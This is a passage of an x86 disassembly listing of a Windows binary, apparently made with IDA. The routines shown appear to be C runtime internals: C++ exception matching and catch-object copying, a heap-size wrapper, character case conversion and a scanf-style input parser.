; sub_41B11A+22j ...
retn
sub_41B11A endp
; =============== S U B R O U T I N E =======================================
sub_41B160 proc near ; CODE XREF: sub_41B0F0+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41B187
cmp dword ptr [eax+10h], 3
jnz short loc_41B187
cmp dword ptr [eax+14h], 19930520h
jnz short loc_41B187
cmp dword ptr [eax+1Ch], 0
jnz short loc_41B187
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41B187: ; CODE XREF: sub_41B160+Cj
; sub_41B160+12j ...
xor eax, eax
retn
sub_41B160 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B18A proc near ; CODE XREF: sub_41AFD9+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421850
push offset sub_41D6A4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_41B333
cmp byte ptr [eax+8], 0
jz loc_41B333
mov eax, [ecx+8]
test eax, eax
jz loc_41B333
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_41B227
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_41E802
pop ecx
pop ecx
test eax, eax
jz loc_41B32A
push 1
push edi
call sub_41E81E
pop ecx
pop ecx
test eax, eax
jz loc_41B32A
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_41B218: ; CODE XREF: sub_41B18A+F5j
push eax
call sub_41B3B5
pop ecx
pop ecx
mov [edi], eax
jmp loc_41B32F
; ---------------------------------------------------------------------------
loc_41B227: ; CODE XREF: sub_41B18A+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_41B281
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_41E802
pop ecx
pop ecx
test eax, eax
jz loc_41B32A
push 1
push edi
call sub_41E81E
pop ecx
pop ecx
test eax, eax
jz loc_41B32A
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_416320
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_41B32F
mov eax, [edi]
test eax, eax
jz loc_41B32F
add esi, 8
push esi
jmp short loc_41B218
; ---------------------------------------------------------------------------
loc_41B281: ; CODE XREF: sub_41B18A+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_41B2C9
call sub_41E802
pop ecx
pop ecx
test eax, eax
jz loc_41B32A
push 1
push edi
call sub_41E81E
pop ecx
pop ecx
test eax, eax
jz short loc_41B32A
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_41B3B5
pop ecx
pop ecx
push eax
push edi
call sub_416320
add esp, 0Ch
jmp short loc_41B32F
; ---------------------------------------------------------------------------
loc_41B2C9: ; CODE XREF: sub_41B18A+103j
call sub_41E802
pop ecx
pop ecx
test eax, eax
jz short loc_41B32A
push 1
push edi
call sub_41E81E
pop ecx
pop ecx
test eax, eax
jz short loc_41B32A
push dword ptr [esi+18h]
call sub_41E83A
pop ecx
test eax, eax
jz short loc_41B32A
test byte ptr [esi], 4
jz short loc_41B310
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_41B3B5
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_415F55
jmp short loc_41B32F
; ---------------------------------------------------------------------------
loc_41B310: ; CODE XREF: sub_41B18A+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_41B3B5
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_415F4E
jmp short loc_41B32F
; ---------------------------------------------------------------------------
loc_41B32A: ; CODE XREF: sub_41B18A+6Aj
; sub_41B18A+7Cj ...
call sub_41B482
loc_41B32F: ; CODE XREF: sub_41B18A+98j
; sub_41B18A+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_41B333: ; CODE XREF: sub_41B18A+2Ej
; sub_41B18A+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41B18A endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_41B42C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B34E proc near ; CODE XREF: sub_41AC79+170p
; sub_41B11A+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421860
push offset sub_41D6A4
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_41B395
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_41B395
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_415F4E
or [ebp+var_4], 0FFFFFFFFh
loc_41B395: ; CODE XREF: sub_41B34E+2Aj
; sub_41B34E+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41B34E endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_41B42C
; =============== S U B R O U T I N E =======================================
sub_41B3B5 proc near ; CODE XREF: sub_41B18A+8Fp
; sub_41B18A+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_41B3D6
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_41B3D6: ; CODE XREF: sub_41B3B5+12j
pop esi
retn
sub_41B3B5 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B3E0 proc near ; CODE XREF: sub_415FE1+40p
; sub_41AF25+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_4162CD
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_41B41F
mov ecx, 2
loc_41B41F: ; CODE XREF: sub_41B3E0+38j
push ecx
call sub_4162CD
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_41B3E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B42C proc near ; CODE XREF: sub_41AC79:loc_41AE1Bj
; sub_41AFC3:loc_41AFD4j ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0041E852 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421870
push offset sub_41D6A4
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_46BB8C
test eax, eax
jz short loc_41B474
mov [ebp+var_4], 1
call eax
jmp short loc_41B470
; ---------------------------------------------------------------------------
loc_41B469: ; DATA XREF: .text:00421880o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41B46D: ; DATA XREF: .text:00421884o
mov esp, [ebp+var_18]
loc_41B470: ; CODE XREF: sub_41B42C+3Bj
and [ebp+var_4], 0
loc_41B474: ; CODE XREF: sub_41B42C+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_41B47D: ; DATA XREF: .text:00421878o
jmp loc_41E852
sub_41B42C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B482 proc near ; CODE XREF: sub_416183+23p
; sub_416183:loc_4161EEp ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421888
push offset sub_41D6A4
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_43A774
test eax, eax
jz short loc_41B4CA
mov [ebp+var_4], 1
call eax ; sub_41B42C
jmp short loc_41B4C6
; ---------------------------------------------------------------------------
loc_41B4BF: ; DATA XREF: .text:00421898o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
loc_41B4C6: ; CODE XREF: sub_41B482+3Bj
and [ebp+var_4], 0
loc_41B4CA: ; CODE XREF: sub_41B482+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_41B4D3: ; DATA XREF: .text:00421890o
jmp sub_41B42C
sub_41B482 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B4D8 proc near ; CODE XREF: sub_416663+7p
; sub_416663+26p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_46D168
push esi
cmp eax, 3
jnz short loc_41B501
mov esi, [ebp+arg_0]
push esi
call sub_418CBD
test eax, eax
pop ecx
jz short loc_41B4FE
mov eax, [esi-4]
sub eax, 9
jmp short loc_41B536
; ---------------------------------------------------------------------------
loc_41B4FE: ; CODE XREF: sub_41B4D8+1Cj
push esi
jmp short loc_41B528
; ---------------------------------------------------------------------------
loc_41B501: ; CODE XREF: sub_41B4D8+Ej
cmp eax, 2
jnz short loc_41B525
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_419A18
add esp, 0Ch
test eax, eax
jz short loc_41B525
movzx eax, byte ptr [eax]
shl eax, 4
jmp short loc_41B536
; ---------------------------------------------------------------------------
loc_41B525: ; CODE XREF: sub_41B4D8+2Cj
; sub_41B4D8+43j
push [ebp+arg_0]
loc_41B528: ; CODE XREF: sub_41B4D8+27j
push 0
push dword_46D164
call dword_42118C ; RtlSizeHeap
loc_41B536: ; CODE XREF: sub_41B4D8+24j
; sub_41B4D8+4Bj
pop esi
leave
retn
sub_41B4D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B539 proc near ; CODE XREF: sub_416728+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_46BB9C, 0
push ebx
jnz short loc_41B564
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_41B602
cmp eax, 7Ah
jg loc_41B602
sub eax, 20h
jmp loc_41B602
; ---------------------------------------------------------------------------
loc_41B564: ; CODE XREF: sub_41B539+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_41B597
cmp dword_4385FC, 1
jle short loc_41B584
push 2
push ebx
call sub_418576
pop ecx
pop ecx
jmp short loc_41B58F
; ---------------------------------------------------------------------------
loc_41B584: ; CODE XREF: sub_41B539+3Dj
mov eax, off_4383F0
mov al, [eax+ebx*2]
and eax, 2
loc_41B58F: ; CODE XREF: sub_41B539+49j
test eax, eax
jnz short loc_41B597
loc_41B593: ; CODE XREF: sub_41B539+AFj
mov eax, ebx
jmp short loc_41B602
; ---------------------------------------------------------------------------
loc_41B597: ; CODE XREF: sub_41B539+34j
; sub_41B539+58j
mov edx, off_4383F0
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41B5BA
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_41B5C3
; ---------------------------------------------------------------------------
loc_41B5BA: ; CODE XREF: sub_41B539+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_41B5C3: ; CODE XREF: sub_41B539+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_46BB9C
call sub_41C639
add esp, 20h
test eax, eax
jz short loc_41B593
cmp eax, 1
jnz short loc_41B5F5
movzx eax, [ebp+var_4]
jmp short loc_41B602
; ---------------------------------------------------------------------------
loc_41B5F5: ; CODE XREF: sub_41B539+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41B602: ; CODE XREF: sub_41B539+14j
; sub_41B539+1Dj ...
pop ebx
leave
retn
sub_41B539 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B605 proc near ; CODE XREF: sub_416947+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_41C00B
mov edi, [ebp+arg_0]
jmp short loc_41B634
; ---------------------------------------------------------------------------
loc_41B62F: ; CODE XREF: sub_41B605+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_41B634: ; CODE XREF: sub_41B605+28j
cmp dword_4385FC, 1
jle short loc_41B64C
movzx eax, al
push 8
push eax
call sub_418576
pop ecx
pop ecx
jmp short loc_41B65B
; ---------------------------------------------------------------------------
loc_41B64C: ; CODE XREF: sub_41B605+36j
mov ecx, off_4383F0
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_41B65B: ; CODE XREF: sub_41B605+45j
cmp eax, ebx
jz short loc_41B695
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_41C092
pop ecx
pop ecx
push eax
call sub_41C07B
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41E931
add esp, 0Ch
loc_41B683: ; CODE XREF: sub_41B605+8Ej
test eax, eax
jz short loc_41B695
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41E931
pop ecx
jmp short loc_41B683
; ---------------------------------------------------------------------------
loc_41B695: ; CODE XREF: sub_41B605+58j
; sub_41B605+80j
cmp byte ptr [esi], 25h
jnz loc_41BF77
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_41B6CC: ; CODE XREF: sub_41B605+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_4385FC, 1
jle short loc_41B6E9
movzx eax, bl
push 4
push eax
call sub_418576
pop ecx
pop ecx
jmp short loc_41B6F8
; ---------------------------------------------------------------------------
loc_41B6E9: ; CODE XREF: sub_41B605+D3j
mov ecx, off_4383F0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_41B6F8: ; CODE XREF: sub_41B605+E2j
test eax, eax
jz short loc_41B70E
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_41B773
; ---------------------------------------------------------------------------
loc_41B70E: ; CODE XREF: sub_41B605+F5j
cmp ebx, 4Eh
jg short loc_41B751
jz short loc_41B773
cmp ebx, 2Ah
jz short loc_41B74C
cmp ebx, 46h
jz short loc_41B773
cmp ebx, 49h
jz short loc_41B72E
cmp ebx, 4Ch
jnz short loc_41B760
inc [ebp+var_D]
jmp short loc_41B773
; ---------------------------------------------------------------------------
loc_41B72E: ; CODE XREF: sub_41B605+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_41B760
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_41B760
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_41B773
; ---------------------------------------------------------------------------
loc_41B74C: ; CODE XREF: sub_41B605+113j
inc [ebp+var_E]
jmp short loc_41B773
; ---------------------------------------------------------------------------
loc_41B751: ; CODE XREF: sub_41B605+10Cj
cmp ebx, 68h
jz short loc_41B76D
cmp ebx, 6Ch
jz short loc_41B765
cmp ebx, 77h
jz short loc_41B768
loc_41B760: ; CODE XREF: sub_41B605+122j
; sub_41B605+12Dj ...
inc [ebp+var_F]
jmp short loc_41B773
; ---------------------------------------------------------------------------
loc_41B765: ; CODE XREF: sub_41B605+154j
inc [ebp+var_D]
loc_41B768: ; CODE XREF: sub_41B605+159j
inc [ebp+var_5]
jmp short loc_41B773
; ---------------------------------------------------------------------------
loc_41B76D: ; CODE XREF: sub_41B605+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_41B773: ; CODE XREF: sub_41B605+107j
; sub_41B605+10Ej ...
cmp [ebp+var_F], 0
jz loc_41B6CC
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_41B798
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_41B798: ; CODE XREF: sub_41B605+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_41B7B6
mov al, [esi]
cmp al, 53h
jz short loc_41B7B2
cmp al, 43h
jz short loc_41B7B2
or [ebp+var_5], 0FFh
jmp short loc_41B7B6
; ---------------------------------------------------------------------------
loc_41B7B2: ; CODE XREF: sub_41B605+1A1j
; sub_41B605+1A5j
mov [ebp+var_5], 1
loc_41B7B6: ; CODE XREF: sub_41B605+19Bj
; sub_41B605+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_41B7EF
cmp esi, 63h
jz short loc_41B7E0
cmp esi, 7Bh
jz short loc_41B7E0
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_41C092
pop ecx
jmp short loc_41B7EB
; ---------------------------------------------------------------------------
loc_41B7E0: ; CODE XREF: sub_41B605+1C5j
; sub_41B605+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41C061
loc_41B7EB: ; CODE XREF: sub_41B605+1D9j
pop ecx
mov [ebp+var_14], eax
loc_41B7EF: ; CODE XREF: sub_41B605+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_41B7FF
cmp [ebp+var_C], eax
jz loc_41BFDB
loc_41B7FF: ; CODE XREF: sub_41B605+1EFj
cmp esi, 6Fh
jg loc_41BA66
jz loc_41BD18
cmp esi, 63h
jz loc_41BA43
cmp esi, 64h
jz loc_41BD18
jle loc_41BA90
cmp esi, 67h
jle short loc_41B863
cmp esi, 69h
jz short loc_41B84B
cmp esi, 6Eh
jnz loc_41BA90
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_41BF46
jmp loc_41BF6C
; ---------------------------------------------------------------------------
loc_41B84B: ; CODE XREF: sub_41B605+229j
push 64h
pop esi
loc_41B84E: ; CODE XREF: sub_41B605+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_41BAD8
mov [ebp+var_17], 1
jmp loc_41BADD
; ---------------------------------------------------------------------------
loc_41B863: ; CODE XREF: sub_41B605+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_41B87F
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_41B884
; ---------------------------------------------------------------------------
loc_41B87F: ; CODE XREF: sub_41B605+26Aj
cmp ebx, 2Bh
jnz short loc_41B89B
loc_41B884: ; CODE XREF: sub_41B605+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_41C061
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41B89E
; ---------------------------------------------------------------------------
loc_41B89B: ; CODE XREF: sub_41B605+27Dj
mov edi, [ebp+arg_0]
loc_41B89E: ; CODE XREF: sub_41B605+294j
cmp [ebp+var_20], 0
jz short loc_41B8AD
cmp [ebp+var_C], 15Dh
jle short loc_41B8B4
loc_41B8AD: ; CODE XREF: sub_41B605+29Dj
mov [ebp+var_C], 15Dh
loc_41B8B4: ; CODE XREF: sub_41B605+2A6j
; sub_41B605+2F2j
cmp dword_4385FC, 1
jle short loc_41B8C9
push 4
push ebx
call sub_418576
pop ecx
pop ecx
jmp short loc_41B8D4
; ---------------------------------------------------------------------------
loc_41B8C9: ; CODE XREF: sub_41B605+2B6j
mov eax, off_4383F0
mov al, [eax+ebx*2]
and eax, 4
loc_41B8D4: ; CODE XREF: sub_41B605+2C2j
test eax, eax
jz short loc_41B8F9
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41B8F9
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_41C061
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41B8B4
; ---------------------------------------------------------------------------
loc_41B8F9: ; CODE XREF: sub_41B605+2D1j
; sub_41B605+2DBj
cmp byte_438600, bl
jnz short loc_41B967
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41B967
inc [ebp+var_4]
push edi
call sub_41C061
mov ebx, eax
mov al, byte_438600
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_41B922: ; CODE XREF: sub_41B605+360j
cmp dword_4385FC, 1
jle short loc_41B937
push 4
push ebx
call sub_418576
pop ecx
pop ecx
jmp short loc_41B942
; ---------------------------------------------------------------------------
loc_41B937: ; CODE XREF: sub_41B605+324j
mov eax, off_4383F0
mov al, [eax+ebx*2]
and eax, 4
loc_41B942: ; CODE XREF: sub_41B605+330j
test eax, eax
jz short loc_41B967
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41B967
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_41C061
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41B922
; ---------------------------------------------------------------------------
loc_41B967: ; CODE XREF: sub_41B605+2FAj
; sub_41B605+304j ...
cmp [ebp+var_1C], 0
jz loc_41B9FF
cmp ebx, 65h
jz short loc_41B97F
cmp ebx, 45h
jnz loc_41B9FF
loc_41B97F: ; CODE XREF: sub_41B605+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41B9FF
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_41C061
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_41B9A6
mov [esi], al
inc esi
jmp short loc_41B9AB
; ---------------------------------------------------------------------------
loc_41B9A6: ; CODE XREF: sub_41B605+39Aj
cmp ebx, 2Bh
jnz short loc_41B9C9
loc_41B9AB: ; CODE XREF: sub_41B605+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_41B9BA
and [ebp+var_C], eax
jmp short loc_41B9C9
; ---------------------------------------------------------------------------
loc_41B9BA: ; CODE XREF: sub_41B605+3AEj
; sub_41B605+3F8j
inc [ebp+var_4]
push edi
call sub_41C061
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41B9C9: ; CODE XREF: sub_41B605+3A4j
; sub_41B605+3B3j
cmp dword_4385FC, 1
jle short loc_41B9DE
push 4
push ebx
call sub_418576
pop ecx
pop ecx
jmp short loc_41B9E9
; ---------------------------------------------------------------------------
loc_41B9DE: ; CODE XREF: sub_41B605+3CBj
mov eax, off_4383F0
mov al, [eax+ebx*2]
and eax, 4
loc_41B9E9: ; CODE XREF: sub_41B605+3D7j
test eax, eax
jz short loc_41B9FF
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41B9FF
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_41B9BA
; ---------------------------------------------------------------------------
loc_41B9FF: ; CODE XREF: sub_41B605+366j
; sub_41B605+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_41C07B
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_41C00B
cmp [ebp+var_E], 0
jnz loc_41BF6C
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_43A758
add esp, 0Ch
jmp loc_41BF6C
; ---------------------------------------------------------------------------
loc_41BA43: ; CODE XREF: sub_41B605+20Cj
cmp [ebp+var_20], eax
jnz short loc_41BA52
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_41BA52: ; CODE XREF: sub_41B605+441j
cmp [ebp+var_5], 0
jle short loc_41BA5C
mov [ebp+var_16], 1
loc_41BA5C: ; CODE XREF: sub_41B605+451j
mov edi, offset dword_43A780
jmp loc_41BB71
; ---------------------------------------------------------------------------
loc_41BA66: ; CODE XREF: sub_41B605+1FDj
mov eax, esi
sub eax, 70h
jz loc_41BD14
sub eax, 3
jz loc_41BB62
dec eax
dec eax
jz loc_41BD18
sub eax, 3
jz loc_41B84E
sub eax, 3
jz short loc_41BAB4
loc_41BA90: ; CODE XREF: sub_41B605+21Bj
; sub_41B605+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_41BFDB
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_41BF6C
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_41BF6C
; ---------------------------------------------------------------------------
loc_41BAB4: ; CODE XREF: sub_41B605+489j
cmp [ebp+var_5], 0
jle short loc_41BABE
mov [ebp+var_16], 1
loc_41BABE: ; CODE XREF: sub_41B605+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_41BB75
mov eax, edi
lea edi, [eax+1]
jmp loc_41BB71
; ---------------------------------------------------------------------------
loc_41BAD8: ; CODE XREF: sub_41B605+24Fj
cmp ebx, 2Bh
jnz short loc_41BAFF
loc_41BADD: ; CODE XREF: sub_41B605+259j
dec [ebp+var_C]
jnz short loc_41BAEE
cmp [ebp+var_20], 0
jz short loc_41BAEE
mov [ebp+var_F], 1
jmp short loc_41BAFF
; ---------------------------------------------------------------------------
loc_41BAEE: ; CODE XREF: sub_41B605+4DBj
; sub_41B605+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41C061
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41BAFF: ; CODE XREF: sub_41B605+4D6j
; sub_41B605+4E7j
cmp ebx, 30h
jnz loc_41BD4D
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41C061
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_41BB4D
cmp bl, 58h
jz short loc_41BB4D
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_41BB37
push 6Fh
loc_41BB31: ; CODE XREF: sub_41B605+55Bj
pop esi
jmp loc_41BD4D
; ---------------------------------------------------------------------------
loc_41BB37: ; CODE XREF: sub_41B605+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41C07B
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_41BD4A
; ---------------------------------------------------------------------------
loc_41BB4D: ; CODE XREF: sub_41B605+517j
; sub_41B605+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41C061
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_41BB31
; ---------------------------------------------------------------------------
loc_41BB62: ; CODE XREF: sub_41B605+46Fj
cmp [ebp+var_5], 0
jle short loc_41BB6C
mov [ebp+var_16], 1
loc_41BB6C: ; CODE XREF: sub_41B605+561j
mov edi, offset dword_43A778
loc_41BB71: ; CODE XREF: sub_41B605+45Cj
; sub_41B605+4CEj
or [ebp+var_18], 0FFh
loc_41BB75: ; CODE XREF: sub_41B605+4C3j
